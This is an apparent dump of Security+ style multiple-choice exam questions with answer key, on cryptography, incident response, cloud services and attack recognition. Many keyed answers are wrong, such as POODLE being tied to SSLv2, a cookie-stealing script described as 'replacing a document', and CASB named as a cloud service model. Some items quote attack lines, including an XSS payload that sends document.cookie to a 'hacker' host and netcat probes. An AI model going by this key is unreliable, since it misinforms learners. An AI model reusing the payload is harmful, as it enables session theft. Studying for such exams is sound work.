Updated Test Dump
Which of the following differentiates a collision attack from a rainbow table attack? A. A rainbow table attack performs a hash lookup. B. A rainbow table attack uses the hash as a password. C. In a collision attack, the hash and the input data are equivalent. D. In a collision attack, the same input results in different hashes.
Answer: A. A rainbow table attack performs a hash lookup.
A security analyst observes the following events in the logs of an employee workstation: 1/23 1:07:16 865 Access to C:\Users\user\temp\oasdfkh.hta has been restricted by your administrator by the default restriction policy level. 1/23 1:07:09 1034 The scan is completed. No detections were found. The security analyst reviews the file system and observes the following: C:\>dir C:\Users\user\temp 1/23 1:07:02 oasdfkh.hta 1/23 1:07:02 update.bat 1/23 1:07:02 msg.txt Given the information provided, which of the following MOST likely occurred on the workstation? A. Application whitelisting controls blocked an exploit payload from executing. B. Antivirus software found and quarantined three malware files. C. Automatic updates were initiated but failed because they had not been approved. D. The SIEM log aged was not tuned properly and reported a false positive.
Answer: A. Application whitelisting controls blocked an exploit payload from executing.
A security administrator is developing controls for creating audit trails and tracking if a PHI data breach is to occur. The administrator has been given the following requirements: *All access must be correlated to a user account. *All user accounts must be assigned to a single individual. *User access to the PHI data must be recorded. *Anomalies in PHI data access must be reported. *Logs and records cannot be deleted or modified. Which of the following should the administrator implement to meet the above requirements? (Select THREE). A. Eliminate shared accounts. B. Create a standard naming convention for accounts. C. Implement usage auditing and review. D. Enable account lockout thresholds. E. Copy logs in real time to a secured WORM drive. F. Implement time-of-day restrictions. G. Perform regular permission audits and reviews.
Answer: A. Eliminate shared accounts C. Implement usage auditing and review. G. Perform regular permission audits and reviews.
A security analyst is securing smartphones and laptops for a highly mobile workforce. Priorities include: Remote wipe capabilities Geolocation services Patch management and reporting Mandatory screen locks Ability to require passcodes and pins Ability to require encryption Which of the following would BEST meet these requirements? A. Implementing MDM software B. Deploying relevant group policies to the devices C. Installing full device encryption D. Removing administrative rights to the devices
Answer: A. Implementing MDM software Explanation: Mobile device management (MDM) - a group of applications and/or technologies used to manage mobile devices and ensures they are in compliance with security polices
When it comes to cloud computing, if one of the requirements for a project is to have the most control over the systems in the cloud, which of the following is a service model that would be BEST suited for this goal? A. Infrastructure B. Platform C. Software D. Virtualization
Answer: A. Infrastructure
A user needs to send sensitive information to a colleague using PKI. Which of the following concepts apply when a sender encrypts the message hash with the sender's private key? (Select TWO) A. Non-repudiation B. Email content encryption C. Steganography D. Transport security E. Message integrity
Answer: A. Non-repudiation E. Message integrity Explanation: Non-repudiation- the ability to prevent a party from denying an action. Digital signatures and access logs provide non-repudiation
After a recent internal breach, a company decided to regenerate and reissue all certificates used in the transmission of confidential information. The company places the greatest importance on confidentiality and non-repudiation, and decided to generate dual key pairs for each client. Which of the following BEST describes how the company will use these certificates? A. One key pair will be used for encryption and decryption. The other will be used to digitally sign the data. B. One key pair will be used for encryption. The other key pair will provide extended validation. C. Data will be encrypted once by each key, doubling the confidentiality and non-repudiation strength. D. One key pair will be used for internal communication, and the other will be used for external communication.
Answer: A. One key pair will be used for encryption and decryption. The other will be used to digitally sign the data.
An organization plans to implement multifactor authentication techniques within the enterprise network architecture. Each authentication factor is expected to be a unique control. Which of the following BEST describes the proper employment of multifactor authentication? A. Proximity card, fingerprint scanner, PIN B. Fingerprint scanner, voice recognition, proximity card C. Smart card, user PKI certificate, privileged user certificate D. Voice recognition, smart card, proximity card
Answer: A. Proximity card, fingerprint scanner, PIN
Ann, a security administrator, wants to ensure credentials are encrypted in transit when implementing a RADIUS server for SSO. Which of the following are needed given these requirements? (Select TWO) A. Public key B. Shared key C. Elliptic curve D. MD5 E. Private key F. DES
Answer: A. Public key E. Private key
A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed? A. RAT B. Worm C. Ransomware D. Bot
Answer: A. RAT
Which of the following BEST describes a network-based attack that can allow an attacker to take full control of a vulnerable host? A. Remote exploit B. Amplification C. Sniffing D. Man-in-the-middle
Answer: A. Remote exploit
A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST? A. Survey threat feeds from services inside the same industry. B. Purchase multiple threat feeds to ensure diversity and implement blocks for malicious traffic. C. Conduct an internal audit against industry best practices to perform a qualitative analysis. D. Deploy a UTM solution that receives frequent updates from a trusted industry vendor.
Answer: A. Survey threat feeds from services inside the same industry.
A security analyst is updating a BIA document. The security analyst notices the support vendor's time to replace a server hard drive went from eight hours to two hours. Given these new metrics, which of the following can be concluded? (Select TWO) A. The MTTR is faster. B. The MTTR is slower. C. The RTO has increased. D. The RTO has decreased. E. The MTTF has increased. F. The MTTF has decreased.
Answer: A. The MTTR is faster. D. The RTO has decreased Explanation: Mean time to recover (MTTR) - a metric that identifies the average time it takes to restore a failed system. Organization that have maintenance contracts often specify MTTR as a part of the contract. Recovery Time Objective (RTO) - the maximum amount of time it should take to restore a system after an outage. It is derived from the maximum allowable outage time identified in the BIA
A user typically works remotely over the holidays using a web-based VPN to access corporate resources. The user reports getting untrusted host errors and being unable to connect. Which of the following is MOST likely the case? A. The certificate has expired B. The browser does not support SSL C. The user's account is locked out D. The VPN software has reached the seat license maximum
Answer: A. The certificate has expired
A technician receives a device with the following anomalies: Frequent pop-up ads Show response-time switching between active programs Unresponsive peripherals The technician reviews the following log file entries: File Name Source MD5 Target MD5 Status antivirus.exe F794F21CD33E4F57890DDEA5CF267ED2 F794F21CD33E4F57890DDEA5CF267ED2 Automatic iexplore.exe 7FAAF21CD33E4F57890DDEA5CF29CCEA AA87F21CD33E4F57890DDEAEE2197333 Automatic service.exe 77FF390CD33E4F57890DDEA5CF28881F 77FF390CD33E4F57890DDEA5CF28881F Manual USB.exe E289F21CD33E4F57890DDEA5CF28EDC0 E289F21CD33E4F57890DDEA5CF28EDC0 Stopped Based on the above output, which of the following should be reviewed? A. The web application firewall B. The file integrity check C. The data execution prevention D. The removable media control
Answer: A. The web application firewall
A forensic investigator has run into difficulty recovering usable files from a SAN drive. Which of the following SAN features might have caused the problem? A. Storage multipaths B. Deduplication C. iSCSI initiator encryption D. Data snapshots
Answer: B. Deduplication
A security administrator is diagnosing a server where the CPU utilization is at 100% for 24 hours. The main culprit of CPU utilization is the antivirus program. Which of the following issue could occur if left unresolved? (Select TWO) A. MITM attack B. DoS attack C. DLL injection D. Buffer overflow E. Resource exhaustion
Answer: B. DoS attack E. Resource exhaustion
A security analyst has received the following alert snippet from the HIDS appliance: PROTOCOL SIG SRC.PORT DST.PORT TCP XMAS SCAN 192.168.1.1:1091 192.168.1.2:8891 TCP XMAS SCAN 192.168.1.1:649 192.168.1.2:9001 TCP XMAS SCAN 192.168.1.1:2264 192.168.1.2:6455 TCP XMAS SCAN 192.168.1.1:3464 192.168.1.2:8744 Given the above logs, which of the following is the cause of the attack? A. The TCP ports on destination are all open. B. FIN, URG, and PSH flags are set in the packet header. C. TCP MSS is configured improperly. D. There is improper Layer 2 segmentation.
Answer: B. FIN, URG, and PSH flags are set in the packet header.
After attempting to harden a web server, a security analyst needs to determine if an application remains vulnerable to SQL injection attacks. Which of the following would BEST assist the analyst in making this determination? A. tracert B. Fuzzer C. nslookup D. Nmap E. netcat
Answer: B. Fuzzer
After an identified security breach, an analyst is tasked to initiate the IR process. Which of the following is the NEXT step the analyst should take? A. Recovery B. Identification C. Preparation D. Documentation E. Escalation
Answer: B. Identification
A security administrator learns that PII, which was gathered by the organization, has been found in an open forum. As a result, several C-level executives found their identities were compromised, and they were victims of a recent whaling attack. Which of the following would prevent these problems in the future? (Select TWO). A. Implement a reverse proxy. B. Implement an email DLP. C. Implement a spam filter. D. Implement a host-based firewall. E. Implement a HIDS.
Answer: B. Implement an email DLP. C. Implement a spam filter. Explanation: Data Lass Prevention - A group of technologies used to prevent data loss. They can block the use of usb devices, monitor outgoing email to detect and block unauthorized data transfer, and monitor data stored in cloud. Spam Filter - a method of blocking unwanted email. By blocking email, it often blocks malware.
Which of the following specifically describes the exploitation of an interactive process to access otherwise restricted areas of the OS? A. Pivoting B. Process affinity C. Buffer overflow D. XSS
Answer: C. Buffer overflow
Which of the following controls allows a security guard to perform a post-incident review? A. Detective B. Preventive C. Corrective D. Deterrent
Answer: C. Corrective
A company is evaluating cloud providers to reduce the cost of its internal IT operations. The company's aging systems are unable to keep up with customer demand. Which of the following cloud models will the company MOST likely select? A. PaaS B. SaaS C. IaaS D. BaaS
Answer: C. IaaS Explanation: Infrastructure as a Service (IaaS)- a cloud computing model that allows an organization to rent access to hardware in a self-managed platform.
Which of the following is used to validate the integrity of data? A. CBC B. Blowfish C. MD5 D. RSA
Answer: C. MD5
Attackers have been using revoked certificates for MITM attacks to steal credentials from employees of Company.com. Which of the following options should Company.com implement to mitigate these attacks? A. Captive portal B. Extended validation certificate C. OCSP stapling D. Object identifiers E. Key escrow
Answer: C. OCSP stapling Explanation: Online certificate status protocol (OCSP) - an alternative to using a CRL. It allows entites to query a CA with serial number of a certificate. The CA answers with good, revoked, or unknown.
An in-house penetration tester has been asked to evade a new DLP system. The tester plans to exfiltrate data through steganography. Discovery of which of the following would help catch the tester in the act? A. Abnormally high numbers of outgoing instant messages that contain obfuscated text 127 6/17 B. Large-capacity USB drives on the tester's desk with encrypted zip files C. Outgoing emails containing unusually large image files D. Unusual SFTP connections to a consumer IP address
Answer: C. Outgoing emails containing unusually large image files
A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the domain controller, the systems administrator needs to provide the domain administrator credentials. Which of the following account types is the systems administrator using? A. Guest account B. Service account C. User account D. Local Account
Answer: C. User account
Which of the following describes the key difference between vishing and phishing attacks? A. Phishing is used by attackers to steal a person's identity. B. Vishing attacks require some knowledge of the target of attack. C. Vishing attacks are accomplished using telephony services. D. Phishing is a category of social engineering attack.
Answer: C. Vishing attacks are accomplished using telephony services.
A cybersecurity analyst is looking into the payload of a random packet capture file that was selected for analysis. The analyst notices that an internal host had a socket established with another internal host over a non-standard port. Upon investigation, the origin host that initiated the socket shows this output: mkdir /local/usr/bin/somedirectory nc -1 192.168.5.1 -p 9856 ping -c 30 8.8.8.8 -a 600 rm /etc/dir2/somefile rm -rm /etc/dir2/ traceroute 8.8.8.8 pakill pid 9487 usera@host> Given the above output, which of the following commands would have established the questionable socket? A. traceroute 8.8.8.8 B. ping -1 30 8.8.8.8 -a 600 C. nc -1 192.168.5.1 -p 9856 D. pskill pid 9487
Answer: C. nc -1 192.168.5.1 -p 9856
A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet: c:\nslookup -querytype=MX comptia.org Server: Unknown Address: 198.51.100.45 comptia.org MX preference=10, mail exchanger = 92.68.102.33 comptia.org MX preference=20, mail exchanger = exchg1.comptia.org exchg1.comptia.org internet address = 192.168.102.67 Which of the following should the penetration tester conclude about the command output? A. The public/private views on the Comptia.org DNS servers are misconfigured. B. Comptia.org is running an older mail server, which may be vulnerable to exploits. C. The DNS SPF records have not been updated for Comptia.org. D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack.
Answer: D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack.
Which of the following BEST describes an important security advantage yielded by implementing vendor diversity? A. Sustainability B. Homogeneity C. Resiliency D. Configurability
Answer: D. Configurability
Ann is the IS manager for several new systems in which the classification of the systems' data are being decided. She is trying to determine the sensitivity level of the data being processed. Which of the following people should she consult to determine the data classification? A. Steward B. Custodian C. User D. Owner
Answer: D. Owner
A systems administrator wants to generate a self-signed certificate for an internal website. Which of the following steps should the systems administrator complete prior to installing the certificate on the server? A. Provide the private key to a public CA. B. Provide the public key to the internal CA. C. Provide the public key to a public CA. D. Provide the private key to the internal CA. E. Provide the public/private key pair to the internal CA. F. Provide the public/private key pair to a public CA.
Answer: D. Provide the private key to the internal CA.
A security technician has been receiving alerts from several servers that indicate load balancers have had a significant increase in traffic. The technician initiates a system scan. The scan results illustrate that the disk space on several servers has reached capacity. The scan also indicates that incoming internet traffic to the servers has increased. Which of the following is the MOST likely cause of the decreased disk space? A. Misconfigured devices B. Logs and events anomalies C. Authentication issues D. Unauthorized software
Answer: D. Unauthorized software
Which of the following could help detect trespassers in a secure facility? (Select TWO) A. Faraday cages B. Motion-detection sensors C. Tall, chain-link fencing D. Security guards E. Smart cards
Answer: B. Motion-detection sensors D. Security guards
The POODLE attack is a MITM exploit that affects: A. TLS1.0 with CBC mode cipher. B. SSLv2.0 with CBC mode cipher. C. SSLv3.0 with CBC mode cipher. D. SSLv3.0 with ECB mode cipher.
Answer: B. SSLv2.0 with CBC mode cipher. Explanation: Secure Socket Layer (SSL) - the predecessor to TLS. SSL is used to encrypt data-in-transit with the use of certificates Ciper Block Chaining (CBC) - a mode of operation used for encryption that effectively converts a block cipher into a stream cipher. It uses an IV for the first block and each subsequent block is combined with the previous block.
The IT department is deploying new computers. To ease the transition, users will be allowed to access their old and new systems. The help desk is receive reports that users are experiencing the following error when attempting to log in to their previous system: Logon Failure: Access Denied Which of the following can cause this issue? A. Permission issues B. Access violations C. Certificate issues D. Misconfigured devices
Answer: C. Certificate issues
During a routine vulnerability assessment, the following command was successful: echo "vrfy 'perl -e 'print "hi" x 500 ' ' " | nc www.company.com 25 Which of the following vulnerabilities is being exploited? A. Buffer overflow directed at a specific host MTA B. SQL injection directed at a web server C. Cross-site scripting directed at www.company.com D. Race condition in a UNIX shell script
Answer: A. Buffer overflow directed at a specific host MTA
Which of the following could occur when both strong and weak ciphers are configured on a VPN concentrator? (Select TWO) A. An attacker could potentially perform a downgrade attack. B. The connection is vulnerable to resource exhaustion. C. The integrity of the data could be at risk. D. The VPN concentrator could revert to L2TP. E. The IPSec payload reverted to 16-bit sequence numbers.
Answer: A. An attacker could potentially perform a downgrade attack. E. The IPSec payload reverted to 16-bit sequence numbers.
Which of the following threat actors is MOST likely to steal a company's proprietary information to gain a market edge and reduce time to market? A. Competitor B. Hacktivist C. Insider D. Organized crime
Answer: A. Competitor
An organization has several production-critical SCADA supervisory systems that cannot follow the normal 30- day patching policy. Which of the following BEST maximizes the protection of these systems from malicious software? A. Configure a firewall with deep packet inspection that restricts traffic to the systems. B. Configure a separate zone for the systems and restrict access to known ports. C. Configure the systems to ensure only necessary applications are able to run. D. Configure the host firewall to ensure only the necessary applications have listening ports.
Answer: A. Configure a firewall with deep packet inspection that restricts traffic to the systems.
A company offers SaaS, maintaining all customers' credentials and authenticating locally. Many large customers have requested the company offer some form of federation with their existing authentication infrastructures. Which of the following would allow customers to manage authentication and authorizations from within their existing organizations? A. Implement SAML so the company's services may accept assertions from the customers' authentication servers. B. Provide customers with a constrained interface to manage only their users' accounts in the company's active directory server. C. Provide a system for customers to replicate their users' passwords from their authentication service to the company's. D. Use SOAP calls to support authentication between the company's product and the customers' authentication servers.
Answer: A. Implement SAML so the company's services may accept assertions from the customers' authentication servers.
After a security incident, management is meeting with involved employees to document the incident and its aftermath. Which of the following BEST describes this phase of the incident response process? A. Lessons learned B. Recovery C. Identification D. Preparation
Answer: A. Lessons learned
Following the successful response to a data-leakage incident, the incident team lead facilitates an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed? A. Lessons learned review B. Root cause analysis C. Incident audit D. Corrective action exercise
Answer: A. Lessons learned review
An incident involving a workstation that is potentially infected with a virus has occurred. The workstation may have sent confidential data to an unknown internet server. Which of the following should a security analyst do FIRST? A. Make a copy of everything in memory on the workstation. B. Turn off the workstation. C. Consult the information security policy. D. Run a virus scan.
Answer: A. Make a copy of everything in memory on the workstation.
Which of the following should a security analyst perform FIRST to determine the vulnerabilities of a legacy system? A. Passive scan B. Aggressive scan C. Credentialed scan D. Intrusive scan
Answer: A. Passive scan
A hacker has a packet capture that contains: ....JoeSmith.........E289F21CD33E4F57890DDEA5CF267ED2.. ...Jane.Doe...........AD1FAB10D33E4F57890DDEA5CF267ED2.. ....John.Key..........3374E9E7E33E4F57890DDEA5CF267ED2.. Which of the following tools will the hacker use against this type of capture? A. Password cracker B. Vulnerability scanner C. DLP scanner D. Fuzzer
Answer: A. Password cracker
A technician suspects that a system has been compromised. The technician reviews the following log entry: WARNING - hash mismatch: C:\Window\SysWOW64\user32.dll WARNING - hash mismatch: C:\Window\SysWOW64\kernel32.dll Based solely on the above information, which of the following types of malware is MOST likely installed on the system? A. Rootkit B. Ransomware C. Trojan D. Backdoor
Answer: A. Rootkit
Company A agrees to provide perimeter protection, power, and environmental support with measurable goals for Company B, but will not be responsible for user authentication or patching of operating systems within the perimeter. Which of the following is being described? A. Service level agreement B. Memorandum of understanding C. Business partner agreement D. Interoperability agreement
Answer: A. Service level agreement
A network administrator at a small office wants to simplify the configuration of mobile clients connecting to an encrypted wireless network. Which of the following should be implemented if the administrator does not want to provide the wireless password or certificate to the employees? A. WPS B. 802.1x C. WPA2-PSK D. TKIP
Answer: A. WPS Explanation: Wifi Protected Setup - a method that allows user to easily configure a wireless network, often by using only a pin. WPS brute force attacks can discover the PIN
A security analyst is attempting to break into a client's secure network. The analyst was not given prior information about the client, except for a block of public IP addresses that are currently in use. After network enumeration, the analyst's NEXT step is to perform: A. a gray-box penetration test. B. a risk analysis. C. a vulnerability assessment. D. an external security audit. E. a red team exercise.
Answer: A. a gray-box penetration test.
A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against intranet services. The scan reports include the following critical-rated vulnerability: Title: Remote Command Execution vulnerability in web server Rating: Critical (CVSS 10.0) Threat actor: any remote user of the web server Confidence: certain Recommendation: apply vendor patches Which of the following actions should the security analyst perform FIRST? A. Escalate the issue to senior management. B. Apply organizational context to the risk rating. C. Organize for urgent out-of-cycle patching. D. Exploit the server to check whether it is a false positive.
Answer: B. Apply organizational context to the risk rating.
An organization recently moved its custom web applications to the cloud, and it is obtaining managed services of the back-end environment as part of its subscription. Which of the following types of services is this company now using? A. SaaS B. CASB C. IaaS D. PaaS
Answer: B. CASB Explanation: Security Broker (CASB) gives you both visibility into your entire cloud stack and the security automation tool your IT team needs. Cloud access security broker (CASB) - a software rool or service that enforces cloud-based security requirements. It is placed between the organization's resources and the cloud, monitors all network traffic, and can enforces security polices.
A security administrator needs to address the following audit recommendations for a public-facing SFTP server: Users should be restricted to upload and download files to their own home directories only. Users should not be allowed to use interactive shell login. Which of the following configuration parameters should be implemented? (Select TWO). A. PermitTunnel B. ChrootDirectory C. PermitTTY D. AllowTcpForwarding E. IgnoreRhosts
Answer: B. ChrootDirectory C. PermitTTY
Upon entering an incorrect password, the logon screen displays a message informing the user that the password does not match the username provided and is not the required length of 12 characters. Which of the following secure coding techniques should a security analyst address with the application developers to follow security best practices? A. Input validation B. Error handling C. Obfuscation D. Data exposure
Answer: B. Error handling Explanation: Error handling - a programming process that handles errors gracefully.
As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data on personal devices. Which of the following would BEST help to accomplish this? A. Require the use of an eight-character PIN. B. Implement containerization of company data. C. Require annual AUP sign-off. D. Use geofencing tools to unlock devices while on the premises.
Answer: B. Implement containerization of company data.
Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack? A. Key risk indicators B. Lessons learned C. Recovery point objectives D. Tabletop exercise
Answer: B. Lessons learned
Which of the following are used to increase the computing time it takes to brute force a password using an offline attack? (Select TWO) A. XOR B. PBKDF2 C. bcrypt D. HMAC E. RIPEMD
Answer: B. PBKDF2 C. bcrypt
Which of the following are used to increase the computing time it takes to brute force a password using an offline attack? (Select TWO) A. XOR B. PBKDF2 C. bcrypt D. HMAC E. RIPEMD
Answer: B. PBKDF2 C. bcrypt Explanation: Password-Based Key Derivation Function 2 - a key stretching technique that adds additional bits to a password as a salt. It helps prevent brute force and rainbow table attacks. bcrypt - a key stretching algorithm. It is used to protect passwords. Bcrypt salts passwords with additional bits before encrypting them with Blowfish. This thwarts rainbow table attacks.
A security manager is creating an account management policy for a global organization with sales personnel who must access corporate network resources while traveling all over the world. Which of the following practices is the security manager MOST likely to enforce with the policy? (Select TWO) A. Time-of-day restrictions B. Password complexity C. Location-based authentication D. Group-based access control E. Standard naming convention
Answer: B. Password complexity C. Location-based authentication
Multiple organizations operating in the same vertical want to provide seamless wireless access for their employees as they visit the other organizations. Which of the following should be implemented if all the organizations use the native 802.1x client on their mobile devices? A. Shibboleth B. RADIUS federation C. SAML D. OAuth E. OpenlD connect
Answer: B. RADIUS federation
A manager wants to distribute a report to several other managers with the company. Some of them reside in remote locations that are not connected to the domain but have a local server. Because there is sensitive data within the report and the size of the report is beyond the limit of the email attachment size, emailing the report is not an option. Which of the following protocols should be implemented to distribute the report securely? (Select THREE) A. S/MIME B. SSH C. SNMPv3 D. FTPS E. SRTP F. HTTPS G. LDAPS
Answer: B. SSH D. FTPS F. HTTPS Explanation: Secure Shell (SSH) - a protocol used to encrypt network traffic. SSH encrypts a wide variety of traffic such as SFTP. SSH uses TCP port 22 File Transfer Protocol Secure (FTPS)- an extension of FTP that uses TLS to encrypt FTP traffic. Some implementations of FTPS use TCP ports 989 and 990 Hypertext Transfer Protocol Secure (HTTPS) - a protocol used to encrypt HTTP traffic. HTTPS encrypts traffic with TLS using TCP port 443
A security analyst is acquiring data from a potential network incident. Which of the following evidence is the analyst MOST likely to obtain to determine the incident? A. Volatile memory capture B. Traffic and logs C. Screenshots D. System image capture
Answer: B. Traffic and logs
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now? A. Agile B. Waterfall C. Scrum D. Spiral
Answer: B. Waterfall
A vice president at a manufacturing organization is concerned about desktops being connected to the network. Employees need to log onto the desktops' local account to verify that a product is being created within specifications; otherwise, the desktops should be as isolated as possible. Which of the following is the BEST way to accomplish this? A. Put the desktops in the DMZ. B. Create a separate VLAN for the desktops. C. Air gap the desktops. D. Join the desktops to an ad-hoc network
Answer: C. Air gap the desktops. Explanation: Airgap - a physical security control that provides physical isolation. Systems separated by an airgap typically have any physical connections to other systems
A member of the admins group reports being unable to modify the "changes" file on a server. The permissions on the file are as follows: Permissions User Group File -rwxrw-r--+ Admins Admins changes Based on the output above, which of the following BEST explains why the user is unable to modify the "changes" file? A. The SELinux mode on the server is set to "enforcing." B. The SELinux mode on the server is set to "permissive." C. An FACL has been added to the permissions for the file. D. The admins group does not have adequate permissions to access the file.
Answer: C. An FACL has been added to the permissions for the file.
Which of the following components of printers and MFDs are MOST likely to be used as vectors of compromise if they are improperly configured? A. Embedded web server B. Spooler C. Network interface D. LCD control panel
Answer: C. Network interface
A company is deploying smartphones for its mobile salesforce. These devices are for personal and business use but are owned by the company. Sales personnel will save new customer data via a custom application developed for the company. This application will integrate with the contact information stored in the smartphones and will populate new customer records onto it. The customer application's data is encrypted at rest, and the application's connection to the back office system is considered secure. The Chief Information Security Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the limited security capabilities of the devices and the planned controls. Which of the following will be the MOST efficient security control to implement to lower this risk? A. Implement a mobile data loss agent on the devices to prevent any user manipulation with the contact information. B. Restrict screen capture features on the devices when using the custom application and the contact information. C. Restrict contact information storage dataflow so it is only shared with the customer application. D. Require complex passwords for authentication when accessing the contact information.
Answer: C. Restrict contact information storage dataflow so it is only shared with the customer application.
A company was recently audited by a third party. The audit revealed the company's network devices were transferring files in the clear. Which of the following protocols should the company use to transfer files? A. HTTPS B. LDAPS C. SCP D. SNMPv3
Answer: C. SCP
An attacker exploited a vulnerability on a mail server using the code below. <HTML><body onload=document.location.replace ('http://hacker/post.asp?victim&message =" + document.cookie + "<br>" + "URL:" +"document.location) ; /> </body> </HTML> Which of the following BEST explains what the attacker is doing? A. The attacker is replacing a cookie. B. The attacker is stealing a document. C. The attacker is replacing a document. D. The attacker is deleting a cookie.
Answer: C. The attacker is replacing a document.
An administrator is replacing a wireless router. The configuration of the old wireless router was not documented before it stopped functioning. The equipment connecting to the wireless network uses older legacy equipment that was manufactured prior to the release of the 802.11i standard. Which of the following configuration options should the administrator select for the new wireless router? A. WPA+CCMP B. WPA2+CCMP C. WPA+TKIP D. WPA2+TKIP
Answer: C. WPA+TKIP
A security architect has convened a meeting to discuss an organization's key management policy. The organization has a reliable internal key management system, and some argue that it would be best to manage the cryptographic keys internally as opposed to using a solution from a third party. The company should use: A. the current internal key management system. B. a third-party key management system that will reduce operating costs. C. risk benefits analysis results to make a determination. D. a software solution including secure key escrow capabilities.
Answer: C. risk benefits analysis results to make a determination.
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats? A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates B. Implementation of an off-site datacenter hosting all company data, as well as deployment of VDI for all client computing needs C. Host-based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs D. Behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed
Answer: D. Behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed
A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a requirement for this configuration? A. Setting up a server B. Configuring federation between authentication servers C. Enabling TOTP D. Deploying certificates to endpoint devices
Answer: D. Deploying certificates to endpoint devices
Which of the following is commonly done as part of a vulnerability scan? A. Exploiting misconfigured applications B. Cracking employee passwords C. Sending phishing emails to employees D. Identifying unpatched workstations
Answer: D. Identifying unpatched workstations
A web server, which is configured to use TLS with AES-GCM-256, SHA-384, and ECDSA, recently suffered an information loss breach. Which of the following is MOST likely the cause? A. Insufficient key bit length B. Weak cipher suite C. Unauthenticated encryption method D. Poor implementation
Answer: D. Poor implementation
A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease the risk of users jailbreaking mobile devices? A. Install a corporately monitored mobile antivirus on the devices. B. Prevent the installation of applications from a third-party application store. C. Build a custom ROM that can prevent jailbreaking. D. Require applications to be digitally signed.
Answer: D. Require applications to be digitally signed.
An organization identifies a number of hosts making outbound connections to a known malicious IP over port TCP 80. The organization wants to identify the data being transmitted and prevent future connections to this IP. Which of the following should the organization do to achieve this outcome? A. Use a protocol analyzer to reconstruct the data and implement a web-proxy. B. Deploy a web-proxy and then blacklist the IP on the firewall. C. Deploy a web-proxy and implement IPS at the network edge. D. Use a protocol analyzer to reconstruct the data and blacklist the IP on the firewall.
Answer: D. Use a protocol analyzer to reconstruct the data and blacklist the IP on the firewall.
A dumpster diver recovers several hard drives from a company and is able to obtain confidential data from one of the hard drives. The company then discovers its information is posted online. Which of the following methods would have MOST likely prevented the data from being exposed? A. Removing the hard drive from its enclosure B. Using software to repeatedly rewrite over the disk space C. Using Blowfish encryption on the hard drives D. Using magnetic fields to erase the data
Answer: D. Using magnetic fields to erase the data
To determine the ALE of a particular risk, which of the following must be calculated? (Select TWO). A. ARO B. ROI C. RPO D. SLE E. RTO
Answer: A. ARO D. SLE Explanation: Annual (or annualized) Rate of Occurrence - the number of times a loss is expected to occur in a year. It is used to measure risk with ALE and SLE in a quantitative risk assessment. Single Loss Expectancy (SLE) - the monetary value of any single loss. It is used to measure risk with ALE and ARO in a quantitative risk assessment. The calculation is SLE x ARO = ALE
A third-party penetration testing company was able to successfully use an ARP cache poison technique to gain root access on a server. The tester successfully moved to another server that was not in the original network. Which of the following is the MOST likely method used to gain access to the other host? A. Backdoor B. Pivoting C. Persistance D. Logic bomp
Answer: B. Pivoting Explanation: Pivoting - one of the steps in penetration testing. After escalation privileges, the tester uses additional tools to gain additional information on the exploited computer or on the network
A web developers improves client access to the company's REST API. Authentication needs to be tokenized but not expose the client's password. Which of the following methods would BEST meet the developer's requirements? A. SAML B. LDAP C. OAuth D. Shibboleth
Answer: . SAML Explanation: Security Assertion Markup Language (SAML) - an XML-based standard used to exchange authentication and authorization information between different parties. SAML provides SSO web-based application.
Which of the following differentiates a collision attack from a rainbow table attack? A. A rainbow table attack performs a hash lookup B. A rainbow table attack uses the hash as a password C. In a collision attack, the hash and the input data are equivalent D. In a collision attack, the same input results in different hashes
Answer: A. A rainbow table attack performs a hash lookup
A company is developing a new system that will unlock a computer automatically when an authorized user sits in front of it, and then lock the computer when the user leaves. The user does not have to perform any action for this process to occur. Which of the following technologies provides this capability? A. Facial recognition B. Fingerprint scanner C. Motion detector D. Smart cards
Answer: A. Facial recognition
An organization wants to utilize a common, Internet-based third-party provider for authorization and authentication. The provider uses a technology based on OAuth 2.0 to provide required services. To which of the following technologies is the provider referring? A. OpenID Connect B. SAML C. XACML D. LDAP
Answer: A. OpenID Connect Explanation: OpenID Connect -an open source standard used for identification om the internet. It is typically used to OAuth and it allows clients to verify the identity of the end users without managing their credentials
Which of the following is the BEST reason for salting a password hash before it is stored in a database? A. To prevent duplicate values from being stored B. To make the password retrieval process very slow C. To protect passwords from being saved in readable format D. To prevent users from using simple passwords for their access credentials
Answer: A. To prevent duplicate values from being stored Explanation: Salt - a random set of data added to a password when creating the hash. PBKDF2 and bcrypt are two protocols that use salts
A security administrator wants to implement a logon script that will prevent MITM attacks on the local LAN. Which of the following commands should the security administrator implement within the script to accomplish this task? A. arp - s 192.168.1.1 00-3a-d1-fa-b1-06 B. dig - [email protected] mypc.comptia.com C. nmap - A - T4 192.168.1.1 D. tcpdump - lnv host 192.168.1.1 or either 00:3a:d1:fa:b1:06
Answer: A. arp - s 192.168.1.1 00-3a-d1-fa-b1-06 Explanation: ARP - a command-line tool used to show and manipulate the Address Resolution Protocol (ARP)
Which of the following is the BEST choice for a security control that represents a preventive and corrective logical control at the same time? A. Security awareness training B. Antivirus C. Firewalls D. Intrusion detection system
Answer: B. Antivirus
